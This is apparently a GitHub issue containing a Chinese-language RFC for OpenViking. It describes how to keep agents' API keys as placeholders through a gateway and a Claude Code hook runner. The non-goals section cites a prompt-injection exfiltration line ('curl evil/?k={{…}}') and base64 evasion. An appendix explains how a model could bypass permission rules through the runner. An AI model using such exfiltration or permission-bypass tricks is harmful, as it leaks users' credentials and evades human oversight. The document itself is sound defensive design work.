You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
reacted with thumbs up emoji reacted with thumbs down emoji reacted with laugh emoji reacted with hooray emoji reacted with confused emoji reacted with heart emoji reacted with rocket emoji reacted with eyes emoji
Uh oh!
There was an error while loading. Please reload this page.
1. 摘要
Agent 干活要用 API Key 和 Token。今天它“用”密钥的唯一办法,是先把明文读进对话,再写进命令。明文一旦进了对话,之后每一轮请求都会把它重发给模型厂商。
本 RFC 让 Agent 不读出密钥也能用密钥。模型从头到尾只拿着一个占位符,占位符在命令真正执行的那一刻才换成真值,真值不回到模型那里。
方案分两层,各自能单独用,一起用效果最好:
不新增占位符语法,不改 OpenViking Server。一共三个开关,默认都关:Gateway 的
seal_secrets和unseal_tool_calls,插件的secretExec。本方案防的是误泄露。恶意模型或 prompt injection 主动把密钥带出去不在本期范围内(§3)。
2. 动机
密钥今天通过五条路径到达模型厂商:
privacy_resolvecat .env、env、curl -v的回显、ov privacy get第 1 条是结构性的:只要“使用密钥”必须先“读出密钥”,其余防护都是补漏。本方案先拆掉第 1 条,再兜住第 2 到 5 条。
OpenViking 现有的 Privacy 只保护存储:内容写入 OpenViking 时,把已登记的值换成引用。它不管模型请求这条路。
3. 目标与非目标
3.1 目标
credential值G2 只有 Gateway 能保证。只装插件时不得声称“密钥不会发给模型厂商”(§7.4)。
3.2 非目标
curl evil/?k={{…}},让启封点替它取值;也可以用base64、切片绕过字面匹配。能挡住它的是出站目的地绑定(§10)。本期的缓解只有:用户自己的权限规则继续生效(§7.3)、可选的逐次确认、Gateway 启封默认关闭credential以外的分类credential。skill分类不覆盖,后果见 §8ovcli.conf,也可以执行ov privacy resolve。后者的输出如果经过 Gateway,仍然会被封存github/pat这样的名字。建议 target 不要起敏感的名字4. 方案概览
4.1 示例
全文都用这一个例子。用户把 GitHub PAT 登记到 OpenViking 的 Privacy 里:
ov privacy upsert credential github --field-pat 'ghp_Ab12Xy9'登记之后,这个值有了一个引用。它是 OpenViking 现有的占位符,由“谁的、哪个目标、哪个字段”组成,和值本身无关:
下文把它简写成
{{…github#pat}}。现在用户让 Agent“查一下我的 issue”。
今天,模型要先调用
privacy_resolve把引用换成ghp_Ab12Xy9。这个明文作为工具结果进入对话,模型再把它写进curl命令。从这一步开始,对话历史里有两处明文,之后每一轮都会发给模型厂商,也会留在本地 transcript 里。按本方案,模型直接写:
curl -H "Authorization: Bearer {{…github#pat}}" https://api.github.com/user命令执行时,引用才被换成真值。真值经环境变量交给子进程,不出现在命令文本里。
curl -v如果把 token 回显出来,输出里的ghp_Ab12Xy9会被换回{{…github#pat}}。模型看到的、历史里记下的,始终只有引用。4.2 术语
credential分类(用户显式登记的个人密钥)4.3 两条不变量
把系统看成两个平面。引用面是模型厂商、对话历史、记忆、日志,这里只应该出现引用。明文面只有工具子进程。
Gateway 是模型请求到厂商的唯一通道,所以它能严格执行 I1。插件碰不到这条通道,但它在命令真正执行的地方,所以它能严格执行 I2。
只有 Gateway、没有插件时,Gateway 也可以替客户端启封(§6.5)。这是对 I2 的有意放宽:真值比执行边界早一步出现,会落进本地 transcript。I1 不受影响。
4.4 封存与启封不对称
由此得到一个重要性质:I1 不依赖两层配合得对不对,两层因此不需要互相协商。即使启封点选错了,明文也只是多落在本地一处,下一轮请求经过 Gateway 时仍然会被封存。
5. 使用方式与行为变化
5.1 三个开关
seal_secretsunseal_tool_callsseal_secretssecretExecprivacy_resolve新建的 Profile 同样默认不开
seal_secrets。打开它意味着每个用户每 30 秒读一次 Privacy,而且 Privacy 不可用时请求会失败,这个代价应由部署方主动选择。5.2 部署组合
怎么选:
seal_secrets。unseal_tool_calls。代价是启封后的工具参数会留在本地 transcript 里,这是这个模式固有的。seal_secrets,再装插件并打开secretExec。这是推荐组合。推荐组合里两层互不干扰:Gateway 只封存,runner 输出的已经是引用,经过 Gateway 时无需再处理。
不要把
unseal_tool_calls和插件一起用。 Gateway 识别到 OpenViking 插件在场时会让位:这个会话它不注入、不跑网关工具,也不启封。识别靠的是请求头X-OpenViking-Plugin,或请求正文里插件注入的<openviking-context>标签。于是:secretExec:Gateway 让位,runner 也不工作,模型写的引用会原样执行并失败。解决办法是打开secretExec。5.3 打开之后会变的行为
开关都关时没有任何变化。打开后:
seal_secretsseal_secretsseal_secretsseal_secretsprivacy_resolveseal_secretsunseal_tool_callsunseal_tool_callssecretExecBash(*/node */scripts/secret-run.mjs *)secretExecprivacy_resolve会被拒绝secretExeccd不延续到后续命令,Shell 的 alias 和函数不可用6. 详细设计:Gateway
6.1 背景与总体做法
后文要用到几个 Gateway 现有的概念:
Policy),在 Studio(管理界面)里编辑。本方案几乎不改 kernel(只给它多传一个可选的封存函数,见 §6.3),而是在它外面包一层壳:请求一进来先封存,回复最后才启封,kernel 看到的客户端内容都是引用形态。anchor、捕获、压缩摘要因此都建立在引用形态上。
6.2 开关的语义
seal_secrets和unseal_tool_calls是 Context Profile 的两个布尔字段。它们有两点和其他 Profile 字段不同:X-OpenViking-Context覆盖。 其他字段可以由客户端用这个请求头按对话覆盖;安全开关不行,否则客户端发一个请求头就能把它关掉。6.3 请求方向:一个入站封存点,三个出站终扫点
到模型上游的发送点一共只有这三个,每一个都必须终扫。
出站终扫的命中数单独记进请求日志(
secrets_sealed_egress)。它不为零,说明 OpenViking 自己注入的内容里带了明文,这是 §2 第 4 条路径的直接观测信号。本地存储的范围。 入站封存保证客户端带来的明文不会落进 Gateway 的本地存储。Gateway 自己产生的内容(召回文本、网关工具的结果)在写入本地记录之前也先封存一遍,所以新写入的记录同样是引用形态。出站终扫因此是第二道:它兜住开关打开之前留下的记录,也兜住将来任何一条忘了先封存的路径。
6.4 封存的匹配规则
封存是一个与协议无关的函数:递归走一遍请求 JSON 里的字符串值,用对照表做最长优先的替换。没有命中时返回原对象,请求字节一个不变。
对照表的规则:
credential分类、当前版本、顶层的字符串字段,长度不少于 6 个字符。“字符串、不少于 6 个字符、当前版本”这几条沿用 Server 端替换已登记值的规则;Server 会遍历所有分类,这里只取credential。\uXXXX)、把/写成\/、把<>&写成<这一类。最后一条值得解释。假设 target 名
github恰好也是某个登记值,朴素替换会把引用内部的github再换一次,把引用弄坏。把已知引用整体登记进表,它就会作为一个整体被命中并原样保留。反过来,伪造的占位符不在表里,所以包不住明文:封存不碰的内容只有这几类:带签名的
thinking、redacted_thinking、reasoning块(改了会让厂商的签名校验失败);signature、encrypted_content字段;整个字符串就是一个data:URI 的值,以及data字段里的长 base64 串。工具调用参数和工具结果的内部不得豁免,哪怕里面的字段也叫signature或data。6.5 回复方向:启封
unseal_tool_calls打开时,模型写在工具调用参数里的引用,会在发给客户端之前换成真值,客户端直接就能执行。这是没有插件时让引用“能用”的办法。启封的范围收到最小:
credential。 写错的引用、别人的引用都保持原样,工具调用自然失败。不做模糊匹配。写法不规范的引用(比如花括号里多了空格)也不启封:它下一轮会被封回规范写法,和 kernel 记录的字节对不上。server_tool_use)不启封,它们已经在上游执行过了。要注意的是,启封对客户端的所有工具生效,不只是本地 Shell。Gateway 不知道哪个工具会把参数发到哪里,包括会把参数发往远端的 MCP 工具。
实现上有两点:
unseal_tool_calls后,带工具定义的请求都走 tool loop(多候选、结构化输出的请求除外);不带工具定义的请求不会产生工具调用,照旧透传。代价是工具调用参数不再一段段流式下发,要等这一轮收齐才发出。两个细节:
arguments、partial_json这类“字符串里的 JSON”要写入 JSON 转义后的值;对象形式的input和自定义工具的纯文本input写入原值。…arguments.delta、带完整参数的…arguments.done和output_item.done,结束事件里还有一份完整回复。这几处都要启封。一个引用可能被切在两段 delta 之间,所以命中引用的调用把完整参数放进第一段 delta,其余置空;没有引用的调用字节不变。下一轮怎么续上。 客户端执行完工具,会把带真值的工具调用放回历史再发过来。② 把它封回同一个引用,和上一轮 kernel 记录的字节一致,anchor 对得上,会话照常延续。这也是入站封存必须在 kernel 之前的原因。
6.6 对照表的来源与失败处理
Gateway 不存密钥。它用调用者自己的 OpenViking Key 读现有的 Privacy API:
GET /api/v1/privacy-configs/tree?category=credential,拿到每个 target 的版本号。GET /api/v1/privacy-configs/credential/{target}取值。原则是 fail-closed:不确定有没有明文时,必须拒绝。
第 4 行是一个行为变化,只在用户登记了 credential 时发生。“无法安全解析”除了 JSON 本身非法,还包括含超大整数或重复键的请求体。这类请求今天会按原字节透传;打开
seal_secrets后会被拒绝。6.7 其他收口
seal_secrets打开时,网关工具里不再提供privacy_resolve。旧会话里已经冻结的工具目录由续轮终扫兜底:结果发出去之前会被封存,模型拿回的还是引用。unseal_tool_calls打开时,会话开头给模型的说明里加一句用法:把引用原样写进工具参数,不要索取明文。这句说明随会话的第一轮生成并冻结,所以只对新会话生效。7. 详细设计:插件
插件碰不到“线”,但它在命令真正执行的地方。第一期实现 Claude Code,公共逻辑放进
examples/memory-plugin-shared/lib,其他 Harness 以后只需要加一层薄薄的适配。7.1 Hook:只改写,不碰明文
Claude Code 允许插件在工具执行前改写工具输入(PreToolUse hook)。我们的 hook 只做一件事:发现 Bash 命令里有引用,就把整条命令交给 runner 去跑。
第二行是 runner 调用。第一行不会执行,它的作用是让权限规则仍能看到原命令(§7.3)。
改写后的命令里仍然只有引用。hook 不得联网、不得取值,所以:
secretExec可以在用户自己的配置里打开(ovcli.conf的插件段,或环境变量OPENVIKING_SECRET_EXEC),但不得由仓库里的配置文件打开:一个提交进仓库的文件不应该能开启密钥放行。同一个开关下还做两件事:
privacy_resolve。 模型调用它时返回拒绝,理由里告诉模型把引用直接写进命令。这是 §2 第 1 条路径在插件侧的收口。7.2 Runner:用环境变量代入,而不是拼文本
runner 拿到的是带引用的原始命令。它依次做四件事:
POST /api/v1/privacy-configs/resolve,用用户自己的 Key,引用归属由 Server 校验。任何一个取不到,runner 必须以非零码退出,不执行命令,错误信息里只有引用。OV_SECRET_0、OV_SECRET_1… 传进去。第 2 步为什么不直接把真值拼进命令?因为真值里可能有引号、
$、空格,拼进 Shell 文本会被当成语法解析,轻则命令坏掉,重则注入。换成变量展开就没有这个问题,只是写法要看引用所在的引号上下文:"${OV_SECRET_n}"${OV_SECRET_n}'"${OV_SECRET_n}"'(先闭合单引号,展开,再重新打开)$'...'里'"${OV_SECRET_n}"$'${OV_SECRET_n}这个设计的好处是扫描器判断错了也不会变成注入:Shell 不会把变量展开的结果再当成语法解析。最坏的情况是命令拿到一个没展开的字面量,或者值被拆成几个参数。后一种情况下命令通常会失败,但拆开后的片段遮罩匹配不到,如果命令把它们打印出来,会以明文回到模型(有 Gateway 时仍会被封存,只要片段没被改写)。扫描器因此可以写得很小,但不是随便写。
这个保证有两个边界,和手写
$VAR时完全一样:bash -c '…'、ssh host "…"、eval),真值会成为那个解释器的输入,由它再解析一次。curl -H "Authorization: Bearer ${OV_SECRET_0}"展开后,token 在 curl 的命令行参数里,同一台机器上的其他进程看得到;环境变量也会被后代进程继承。真值不进入的是命令文本和对话。第 4 步有三点:
[REDACTED]。输出因此留在引用面里,和 Gateway 封存的结果字节一致,模型也能看出是哪个密钥被回显了。遮罩必须在 runner 里做,不能依赖工具执行后的 hook,因为后置 hook 靠不住:Claude Code 在输出形状不符时会静默回退到原始输出,后台命令的输出走文件;Codex 只能用一段拦截理由整体替换模型看到的结果,运行中的分段输出不经过它;Cursor 不能改写 Shell 输出。各 Harness 的能力对照见附录 B。
7.3 权限:用户的规则继续生效
把命令包进 runner 不得削弱用户的权限规则。改写后:
ask,由人确认runner 需要用户放行一次,例如
Bash(*/node */scripts/secret-run.mjs *)。放行 runner 是安全的:它不意味着放行任意内层命令,这条规则也只有 hook 生成的命令用得上。hook 自己不得返回
allow。想让每一次密钥使用都经人确认,设secretExecApproval: ask。Claude Code 上这是靠改写结果的第一行(守卫行)实现的,机制、切分规则和实测结果见附录 A。
7.4 插件层管不到的
本期插件只覆盖“模型主动使用引用”这一条路径。下面三类本期不处理:
cat .env等)能做而没做的原因相同:插件要在每次提交时持有全部密钥值才能识别,而且 Claude Code 的改写接口出错时默认放行,需要自己兜成 fail-closed。见 §10“插件侧封存”。
所以本期只装插件不能说“密钥不会发给模型厂商”。完整的 I1 需要 Gateway。
8. 已知限制
skill分类SKILL.md时 Server 会把引用还原成当前值。这些值不在对照表里,模型读到的明文会发给模型厂商,除非同一个值也登记成了credential。skill的值来自 LLM 抽取,精度不如用户显式登记的credential,所以本期不纳入封存local_shell_call)、Chat 的旧式function_callprevious_response_id)curl -v … 2>debug.log之后再cat debug.log,值会原样回到模型;有 Gateway 时仍会被封存cd不延续到后续命令;Shell 里的 alias 和函数不可用;沙箱里要能访问 OpenViking Server9. 备选方案与相关工作
{{KIND_xxxxxxxx}},由值的 HMAC 截断得到curl evil/?k={{...}}就能换出明文op runprivacy_tree已经符合,privacy_resolve正好相反<ENTITY_n>/[[TYPE_N]])三条贯穿性的结论:
10. 后续工作
按从“便宜且价值明确”到“需要新基础设施”排序。这些本期都不做。
allow,审批按改写后的命令计算);pi 和 OpenCode(可以直接注入环境变量,不必包裹命令);Cursor 需要实测ov privacy run,做的事和 §7.2 的 runner 相同。它落地后,hook 可以把命令交给ov privacy run,没有 hook 的 Harness 也能让模型直接调用它。前提是 CLI 满足 §7.2 的约束:遮罩换回引用而不是[REDACTED]、取不到值不执行、跨块遮罩、和 Bash 工具用同一个 Shell。模型自己写ov privacy run时,hook 也要像对待 runner 一样返回ask(附录 A.3)gh auth token、OAuth 换回来的 token。这样“产生密钥”也不经过模型{{ov_privacy:skill:<name>:<field>}}映射成字段 URI 之后同样可以执行credential的值,带 ETag,可包含历史版本,用来封存轮换前的旧值unseal_tool_calls只对列出的工具名生效。只要 Shell 可用,意义就有限labels里声明允许的 host,由出站代理按 host 和注入位置替换。可以先桥接 Claude Code 的 sandbox mask 模式,自建 TLS 终止代理放到最后11. 建议
privacy_resolve在 Server 端的去留。 本期不改 Server,privacy_resolve在 Server 端保持现状,只在两层各自的开关打开时收口(§6.7、§7.1)。建议后续在 Server 端默认不向模型暴露它,或让它只对 CLI 可用。理由是它是 §2 第 1 条路径的源头:只要它还默认开放,没有打开开关的部署里,模型“用密钥”仍然要先“读出密钥”。
附录 A. Claude Code 上的守卫行
A.1 为什么需要
Claude Code 按改写后的命令匹配权限规则。如果只留 runner 那一行,原命令被包在引号里,规则看不见。用户写的
Bash(rm:*)拒绝规则对node secret-run.mjs 'rm …'不起作用;用户一旦放行过 runner,所有带引用的命令也都跟着放行。任何命令只要带上一个引用,就能绕开用户的规则。A.2 机制
改写后的第一行
false && …是守卫行。它永远不会执行,作用是把原命令原样摆在权限系统面前。Claude Code 做的是静态匹配,不管一段命令实际会不会执行,所以它会照常检查守卫行里的每一段。§7.3 的权限等式由此成立。这是在 Claude Code 2.1.321 上实测得到的行为,不是文档承诺。
A.3 切分规则
实测确认了两点限制,它们决定了守卫行的写法:
if、子 Shell、花括号里的管道不行。所以 hook 把原命令在顶层的;、&、&&、||、换行处切开,每段各写一行false && <段>,管道保持完整。$( )、反引号、子 Shell、if/for等复合语句),hook 不猜,改为返回ask,由人确认。切分只能多切不能漏切:漏掉一个分隔符,守卫行里就会有一段真的被执行,所以宁可保守。还有一种情况也返回
ask:模型自己在命令里写了 runner。hook 看到的只有模型写的命令,所以命令里出现 runner 的文件名,就说明模型想绕过 hook 直接调用它,而放行 runner 的规则看不到它要跑什么。实测中 hook 返回的ask优先于放行规则,在 bypass 模式下也生效。runner 那一行的写法是
<node 路径> <插件目录>/scripts/secret-run.mjs '<原命令>',两个路径不加引号,所以规则好写,例如Bash(*/node */scripts/secret-run.mjs *)。A.4 实测场景
在真实的 Claude Code 2.1.321 上跑过下面这组场景(模型用 Haiku,OpenViking 用本地的模拟服务,hook 和 runner 是实现里的真实脚本;默认模式与 bypass 模式):
&&之后的一段各试一次)$( ),各段和 runner 都已放行ask,不执行;bypass 模式下也一样ask,不执行附录 B. 各 Harness 的 hook 能力
各 Harness 的 hook 能力差别很大,决定了插件层的形态:
allow结论是遮罩必须在源头(runner)做,后置 hook 只能当第二层。
附录 C. 验收重点
ask,privacy_resolve被拒绝。All reactions